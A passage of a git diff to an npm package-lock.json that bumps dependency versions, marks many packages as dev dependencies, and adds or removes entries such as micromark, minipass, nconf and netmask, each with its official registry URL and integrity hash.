"resolved": "https://registry.npmjs.org/lodash.transform/-/lodash.transform-4.6.0.tgz", - "integrity": "sha1-EjBkIvYzJK7YSD0/ODMrX2cFR6A=" + "integrity": "sha1-EjBkIvYzJK7YSD0/ODMrX2cFR6A=", + "dev": true + }, + "lodash.truncate": { + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/lodash.truncate/-/lodash.truncate-4.4.2.tgz", + "integrity": "sha1-WjUNoLERO4N+z//VgSy+WNbq4ZM=", + "dev": true }, "lodash.union": { "version": "4.6.0", "resolved": "https://registry.npmjs.org/lodash.union/-/lodash.union-4.6.0.tgz", - "integrity": "sha1-SLtQiECfFvGCFmZkHETdGqrjzYg=" + "integrity": "sha1-SLtQiECfFvGCFmZkHETdGqrjzYg=", + "dev": true + }, + "lodash.uniq": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz", + "integrity": "sha1-0CJTc662Uq3BvILklFM5qEJ1R3M=", + "dev": true + }, + "lodash.upperfirst": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/lodash.upperfirst/-/lodash.upperfirst-4.3.1.tgz", + "integrity": "sha1-E2Xt9DFIBIHvDRxolXpe2Z1J984=", + "dev": true }, "lodash.values": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/lodash.values/-/lodash.values-4.3.0.tgz", - "integrity": "sha1-o6bCsOvsxcLLocF+bmIP6BtT00c=" + "integrity": "sha1-o6bCsOvsxcLLocF+bmIP6BtT00c=", + "dev": true }, "log-symbols": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-3.0.0.tgz", - "integrity": "sha512-dSkNGuI7iG3mfvDzUuYZyvk5dD9ocYCYzNU6CYDE6+Xqd+gwme6Z00NS3dUh8mq/73HaEtT7m6W+yUPtU6BZnQ==", + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", + "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", "dev": true, "requires": { - "chalk": "^2.4.2" - } - }, - "logic-solver": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/logic-solver/-/logic-solver-2.0.1.tgz", - "integrity": "sha1-6fpHAC612M2nYW1BY5uXVS62dL4=", - "requires": { - "underscore": "^1.7.0" + "chalk": "^4.1.0", + "is-unicode-supported": "^0.1.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", + "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "dev": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + } } }, "loglevel": { @@ -8194,12 +11465,14 @@ "lowercase-keys": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", - "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==" + "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==", + "dev": true }, "lru-cache": { "version": "4.1.5", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz", "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==", + "dev": true, "requires": { "pseudomap": "^1.0.2", "yallist": "^2.1.2" @@ -8208,7 +11481,8 @@ "macos-release": { "version": "2.4.1", "resolved": "https://registry.npmjs.org/macos-release/-/macos-release-2.4.1.tgz", - "integrity": "sha512-H/QHeBIN1fIGJX517pvK8IEK53yQOW7YcEI55oYtgjDdoCQQz7eJS94qt5kNrscReEyuD/JcdFCm2XBEcGOITg==" + "integrity": "sha512-H/QHeBIN1fIGJX517pvK8IEK53yQOW7YcEI55oYtgjDdoCQQz7eJS94qt5kNrscReEyuD/JcdFCm2XBEcGOITg==", + "dev": true }, "make-dir": { "version": "2.1.0", @@ -8228,15 +11502,6 @@ } } }, - "map-age-cleaner": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/map-age-cleaner/-/map-age-cleaner-0.1.3.tgz", - "integrity": "sha512-bJzx6nMoP6PDLPBFmg7+xRKeFZvFboMrGlxmNj9ClvX53KrmvM5bXFXEWjbz4cz1AFn+jWJ9z/DJSz7hrs0w3w==", - "dev": true, - "requires": { - "p-defer": "^1.0.0" - } - }, "map-cache": { "version": "0.2.2", "resolved": "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz", @@ -8258,26 +11523,28 @@ "object-visit": "^1.0.0" } }, - "markdown-escapes": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/markdown-escapes/-/markdown-escapes-1.0.4.tgz", - "integrity": "sha512-8z4efJYk43E0upd0NbVXwgSTQs6cT3T06etieCMEg7dRbzCbxUCK/GHlX8mhHRDcp+OLlHkPKsvqQTCvsRl2cg==", - "dev": true - }, - "markdown-table": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/markdown-table/-/markdown-table-2.0.0.tgz", - "integrity": "sha512-Ezda85ToJUBhM6WGaG6veasyym+Tbs3cMAw/ZhOPqXiYsr0jgocBV3j3nx+4lk47plLlIqjwuTm/ywVI+zjJ/A==", - "dev": true, - "requires": { - "repeat-string": "^1.0.0" - } - }, "marked": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/marked/-/marked-2.0.0.tgz", "integrity": "sha512-NqRSh2+LlN2NInpqTQnS614Y/3NkVMFFU6sJlRFEpxJ/LHuK/qJECH7/fXZjk4VZstPW/Pevjil/VtSONsLc7Q==" }, + "matcher": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/matcher/-/matcher-3.0.0.tgz", + "integrity": "sha512-OkeDaAZ/bQCxeFAozM55PKcKU0yJMPGifLwV4Qgjitu+5MoAfSQN4lsLJeXZ1b8w0x+/Emda6MZgXS1jvsapng==", + "dev": true, + "requires": { + "escape-string-regexp": "^4.0.0" + }, + "dependencies": { + "escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true + } + } + }, "mathml-tag-names": { "version": "2.1.3", "resolved": "https://registry.npmjs.org/mathml-tag-names/-/mathml-tag-names-2.1.3.tgz", @@ -8295,32 +11562,45 @@ "safe-buffer": "^5.1.2" } }, - "mdast-util-compact": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/mdast-util-compact/-/mdast-util-compact-2.0.1.tgz", - "integrity": "sha512-7GlnT24gEwDrdAwEHrU4Vv5lLWrEer4KOkAiKT9nYstsTad7Oc1TwqT2zIMKRdZF7cTuaf+GA1E4Kv7jJh8mPA==", + "mdast-util-from-markdown": { + "version": "0.8.5", + "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-0.8.5.tgz", + "integrity": "sha512-2hkTXtYYnr+NubD/g6KGBS/0mFmBcifAsI0yIWRiRo0PjVs6SSOSOdtzbp6kSGnShDN6G5aWZpKQ2lWRy27mWQ==", "dev": true, "requires": { - "unist-util-visit": "^2.0.0" + "@types/mdast": "^3.0.0", + "mdast-util-to-string": "^2.0.0", + "micromark": "~2.11.0", + "parse-entities": "^2.0.0", + "unist-util-stringify-position": "^2.0.0" } }, + "mdast-util-to-markdown": { + "version": "0.6.5", + "resolved": "https://registry.npmjs.org/mdast-util-to-markdown/-/mdast-util-to-markdown-0.6.5.tgz", + "integrity": "sha512-XeV9sDE7ZlOQvs45C9UKMtfTcctcaj/pGwH8YLbMHoMOXNNCn2LsqVQOqrF1+/NU8lKDAqozme9SCXWyo9oAcQ==", + "dev": true, + "requires": { + "@types/unist": "^2.0.0", + "longest-streak": "^2.0.0", + "mdast-util-to-string": "^2.0.0", + "parse-entities": "^2.0.0", + "repeat-string": "^1.0.0", + "zwitch": "^1.0.0" + } + }, + "mdast-util-to-string": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-2.0.0.tgz", + "integrity": "sha512-AW4DRS3QbBayY/jJmD8437V1Gombjf8RSOUCMFBuo5iHi58AGEgVCKQ+ezHkZZDpAQS75hcBMpLqjpJTjtUL7w==", + "dev": true + }, "media-typer": { "version": "0.3.0", "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=", "dev": true }, - "mem": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/mem/-/mem-4.3.0.tgz", - "integrity": "sha512-qX2bG48pTqYRVmDB37rn/6PT7LcR8T7oAX3bf99u1Tt1nzxYfxkgqDwUwolPlXweM0XzBOBFzSx4kfp7KP1s/w==", - "dev": true, - "requires": { - "map-age-cleaner": "^0.1.1", - "mimic-fn": "^2.0.0", - "p-is-promise": "^2.0.0" - } - }, "memory-fs": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.4.1.tgz", @@ -8356,9 +11636,10 @@ "dev": true }, "merge2": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.3.0.tgz", - "integrity": "sha512-2j4DAdlBOkiSZIsaXk4mTE3sRS02yBHAtfy127xRV3bQUFqXkjHCHLW6Scv7DwNRbIWNHH8zpnz9zMaKXIdvYw==" + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true }, "methods": { "version": "1.1.2", @@ -8366,6 +11647,33 @@ "integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=", "dev": true }, + "micromark": { + "version": "2.11.4", + "resolved": "https://registry.npmjs.org/micromark/-/micromark-2.11.4.tgz", + "integrity": "sha512-+WoovN/ppKolQOFIAajxi7Lu9kInbPxFuTBVEavFcL8eAfVstoc5MocPmqBeAdBOJV00uaVjegzH4+MA0DN/uA==", + "dev": true, + "requires": { + "debug": "^4.0.0", + "parse-entities": "^2.0.0" + }, + "dependencies": { + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + } + } + }, "micromatch": { "version": "3.1.10", "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", @@ -8398,9 +11706,9 @@ }, "dependencies": { "bn.js": { - "version": "4.11.8", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.8.tgz", - "integrity": "sha512-ItfYfPLkWHUjckQCk8xC+LwxgK8NYcXywGigJgSwOP8Y2iyWT4f2vsZnoOXTTbo+o5yXmIUJ4gn5538SO5S3gA==", + "version": "4.12.0", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", + "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==", "dev": true } } @@ -8435,7 +11743,8 @@ "mimic-response": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz", - "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==" + "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==", + "dev": true }, "min-document": { "version": "2.19.0", @@ -8446,11 +11755,30 @@ } }, "min-indent": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.0.tgz", - "integrity": "sha1-z8RcN+nsDY8KDsPdTvf3w6vjklY=", + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz", + "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==", "dev": true }, + "mini-create-react-context": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/mini-create-react-context/-/mini-create-react-context-0.4.1.tgz", + "integrity": "sha512-YWCYEmd5CQeHGSAKrYvXgmzzkrvssZcuuQDDeqkT+PziKGMgE+0MCCtcKbROzocGBG1meBLl2FotlRwf4gAzbQ==", + "requires": { + "@babel/runtime": "^7.12.1", + "tiny-warning": "^1.0.3" + }, + "dependencies": { + "@babel/runtime": { + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.13.10.tgz", + "integrity": "sha512-4QPkjJq6Ns3V/RgpEahRk+AGfL0eO6RHHtTWoNNr5mO49G6B5+X6d6THgWEAvTrznU5xYpbAlVKRYcsCgh/Akw==", + "requires": { + "regenerator-runtime": "^0.13.4" + } + } + } + }, "minimalistic-assert": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz", @@ -8467,6 +11795,7 @@ "version": "3.0.4", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", "integrity": "sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=", + "dev": true, "requires": { "brace-expansion": "^1.1.7" } @@ -8477,13 +11806,14 @@ "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" }, "minimist-options": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/minimist-options/-/minimist-options-4.0.2.tgz", - "integrity": "sha512-seq4hpWkYSUh1y7NXxzucwAN9yVlBc3Upgdjz8vLCP97jG8kaOmzYrVH/m7tQ1NYD1wdtZbSLfdy4zFmRWuc/w==", + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/minimist-options/-/minimist-options-4.1.0.tgz", + "integrity": "sha512-Q4r8ghd80yhO/0j1O3B2BjweX3fiHg9cdOwjJd2J76Q135c+NDxGCqdYKQ1SKBuFfgWbAUzBfvYjPUEeNgqN1A==", "dev": true, "requires": { "arrify": "^1.0.1", - "is-plain-obj": "^1.1.0" + "is-plain-obj": "^1.1.0", + "kind-of": "^6.0.3" }, "dependencies": { "is-plain-obj": { @@ -8494,6 +11824,41 @@ } } }, + "minipass": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.1.3.tgz", + "integrity": "sha512-Mgd2GdMVzY+x3IJ+oHnVM+KG3lA5c8tnabyJKmHSaG2kAGpudxuOf8ToDkhumF7UzME7DecbQE9uOZhNm7PuJg==", + "dev": true, + "requires": { + "yallist": "^4.0.0" + }, + "dependencies": { + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + } + } + }, + "minizlib": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz", + "integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==", + "dev": true, + "requires": { + "minipass": "^3.0.0", + "yallist": "^4.0.0" + }, + "dependencies": { + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + } + } + }, "mississippi": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/mississippi/-/mississippi-3.0.0.tgz", @@ -8537,6 +11902,7 @@ "version": "0.5.5", "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", + "dev": true, "requires": { "minimist": "^1.2.5" } @@ -8563,7 +11929,8 @@ "ms": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", + "dev": true }, "multicast-dns": { "version": "6.2.3", @@ -8623,87 +11990,11 @@ "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=", "dev": true }, - "nconf": { - "version": "0.10.0", - "resolved": "https://registry.npmjs.org/nconf/-/nconf-0.10.0.tgz", - "integrity": "sha512-fKiXMQrpP7CYWJQzKkPPx9hPgmq+YLDyxcG9N8RpiE9FoCkCbzD0NyW0YhE3xn3Aupe7nnDeIx4PFzYehpHT9Q==", - "requires": { - "async": "^1.4.0", - "ini": "^1.3.0", - "secure-keys": "^1.0.0", - "yargs": "^3.19.0" - }, - "dependencies": { - "async": { - "version": "1.5.2", - "resolved": "https://registry.npmjs.org/async/-/async-1.5.2.tgz", - "integrity": "sha1-7GphrlZIDAw8skHJVhjiCJL5Zyo=" - }, - "cliui": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz", - "integrity": "sha1-EgYBU3qRbSmUD5NNo7SNWFo5IT0=", - "requires": { - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wrap-ansi": "^2.0.0" - } - }, - "invert-kv": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-1.0.0.tgz", - "integrity": "sha1-EEqOSqym09jNFXqO+L+rLXo//bY=" - }, - "lcid": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/lcid/-/lcid-1.0.0.tgz", - "integrity": "sha1-MIrMr6C8SDo4Z7S28rlQYlHRuDU=", - "requires": { - "invert-kv": "^1.0.0" - } - }, - "os-locale": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-1.4.0.tgz", - "integrity": "sha1-IPnxeuKe00XoveWDsT0gCYA8FNk=", - "requires": { - "lcid": "^1.0.0" - } - }, - "wrap-ansi": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz", - "integrity": "sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=", - "requires": { - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1" - } - }, - "y18n": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/y18n/-/y18n-3.2.1.tgz", - "integrity": "sha1-bRX7qITAhnnA136I53WegR4H+kE=" - }, - "yargs": { - "version": "3.32.0", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-3.32.0.tgz", - "integrity": "sha1-AwiOnr+edWtpdRYR0qXvWRSCyZU=", - "requires": { - "camelcase": "^2.0.1", - "cliui": "^3.0.3", - "decamelize": "^1.1.1", - "os-locale": "^1.4.0", - "string-width": "^1.0.1", - "window-size": "^0.1.4", - "y18n": "^3.2.0" - } - } - } - }, "needle": { - "version": "2.5.2", - "resolved": "https://registry.npmjs.org/needle/-/needle-2.5.2.tgz", - "integrity": "sha512-LbRIwS9BfkPvNwNHlsA41Q29kL2L/6VaOJ0qisM5lLWsTV3nP15abO5ITL6L81zqFhzjRKDAYjpcBcwM0AVvLQ==", + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/needle/-/needle-2.6.0.tgz", + "integrity": "sha512-KKYdza4heMsEfSWD7VPUIz3zX2XDwOyX2d+geb4vrERZMT5RMU6ujjaD+I5Yr54uZxQ2w6XRTAhHBbSCyovZBg==", + "dev": true, "requires": { "debug": "^3.2.6", "iconv-lite": "^0.4.4", @@ -8711,17 +12002,19 @@ }, "dependencies": { "debug": { - "version": "3.2.6", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", - "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dev": true, "requires": { "ms": "^2.1.1" } }, "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true } } }, @@ -8737,15 +12030,11 @@ "integrity": "sha512-iyam8fBuCUpWeKPGpaNMetEocMt364qkCsfL9JuhjXX6dRnguRVOfk2GZaDpPjcOKiiXCPINZC1GczQ7iTq3Zw==", "dev": true }, - "netmask": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/netmask/-/netmask-1.0.6.tgz", - "integrity": "sha1-ICl+idhvb2QA8lDZ9Pa0wZRfzTU=" - }, "nice-try": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.5.tgz", - "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==" + "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==", + "dev": true }, "no-case": { "version": "2.3.2", @@ -8830,6 +12119,15 @@ "vm-browserify": "^1.0.1" }, "dependencies": { + "browserify-zlib": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/browserify-zlib/-/browserify-zlib-0.2.0.tgz", + "integrity": "sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA==", + "dev": true, + "requires": { + "pako": "~1.0.5" + } + }, "buffer": { "version": "4.9.2", "resolved": "https://registry.npmjs.org/buffer/-/buffer-4.9.2.tgz", @@ -8841,6 +12139,12 @@ "isarray": "^1.0.0" } }, + "pako": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz", + "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==", + "dev": true + }, "punycode": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz", @@ -8850,9 +12154,9 @@ } }, "node-releases": { - "version": "1.1.55", - "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.55.tgz", - "integrity": "sha512-H3R3YR/8TjT5WPin/wOoHOUPHgvj8leuU/Keta/rwelEQN9pA/S2Dx8/se4pZ2LBxSd0nAGzsNzhqwa77v7F1w==", + "version": "1.1.71", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.71.tgz", + "integrity": "sha512-zR6HoT6LrLCRBwukmrVbHv0EpEQjksO6GmFcZQQuCAy139BEsoVKPYnf3jongYW83fAa1torLGYwxxky/p28sg==", "dev": true }, "node-sass": { @@ -8911,6 +12215,7 @@ "version": "2.0.2", "resolved": "https://registry.npmjs.org/node.extend/-/node.extend-2.0.2.tgz", "integrity": "sha512-pDT4Dchl94/+kkgdwyS2PauDFjZG0Hk0IcHIB+LkW27HLDtdoeMxHTxZh39DYbPP8UflWXWj9JcdDozF+YDOpQ==", + "dev": true, "requires": { "has": "^1.0.3", "is": "^3.2.1" @@ -8994,7 +12299,8 @@ "normalize-url": { "version": "4.5.0", "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-4.5.0.tgz", - "integrity": "sha512-2s47yzUxdexf1OhyRi4Em83iQk0aPvwTddtFz4hnSSw9dCEsLEGf6SwIO8ss/19S9iBb5sJaOuTvTGDeZI00BQ==" + "integrity": "sha512-2s47yzUxdexf1OhyRi4Em83iQk0aPvwTddtFz4hnSSw9dCEsLEGf6SwIO8ss/19S9iBb5sJaOuTvTGDeZI00BQ==", + "dev": true }, "normalize.css": { "version": "8.0.1", @@ -9002,9 +12308,10 @@ "integrity": "sha512-qizSNPO93t1YUuUhP22btGOo3chcvDFqFaj2TRybP0DMxkHOCTYwp3n34fel4a31ORXy4m1Xq0Gyqpb5m33qIg==" }, "npm": { - "version": "6.14.7", - "resolved": "https://registry.npmjs.org/npm/-/npm-6.14.7.tgz", - "integrity": "sha512-swhsdpNpyXg4GbM6LpOQ6qaloQuIKizZ+Zh6JPXJQc59ka49100Js0WvZx594iaKSoFgkFq2s8uXFHS3/Xy2WQ==", + "version": "6.14.13", + "resolved": "https://registry.npmjs.org/npm/-/npm-6.14.13.tgz", + "integrity": "sha512-SRl4jJi0EBHY2xKuu98FLRMo3VhYQSA6otyLnjSEiHoSG/9shXCFNJy9tivpUJvtkN9s6VDdItHa5Rn+fNBzag==", + "dev": true, "requires": { "JSONStream": "^1.3.5", "abbrev": "~1.1.1", @@ -9037,13 +12344,13 @@ "glob": "^7.1.6", "graceful-fs": "^4.2.4", "has-unicode": "~2.0.1", - "hosted-git-info": "^2.8.8", + "hosted-git-info": "^2.8.9", "iferr": "^1.0.2", "imurmurhash": "*", "infer-owner": "^1.0.4", "inflight": "~1.0.6", "inherits": "^2.0.4", - "ini": "^1.3.5", + "ini": "^1.3.8", "init-package-json": "^1.10.3", "is-cidr": "^3.0.0", "json-parse-better-errors": "^1.0.2", @@ -9070,7 +12377,7 @@ "lodash.uniq": "~4.5.0", "lodash.without": "~4.4.0", "lru-cache": "^5.1.1", - "meant": "~1.0.1", + "meant": "^1.0.2", "mississippi": "^3.0.0", "mkdirp": "^0.5.5", "move-concurrently": "^1.0.1", @@ -9085,11 +12392,11 @@ 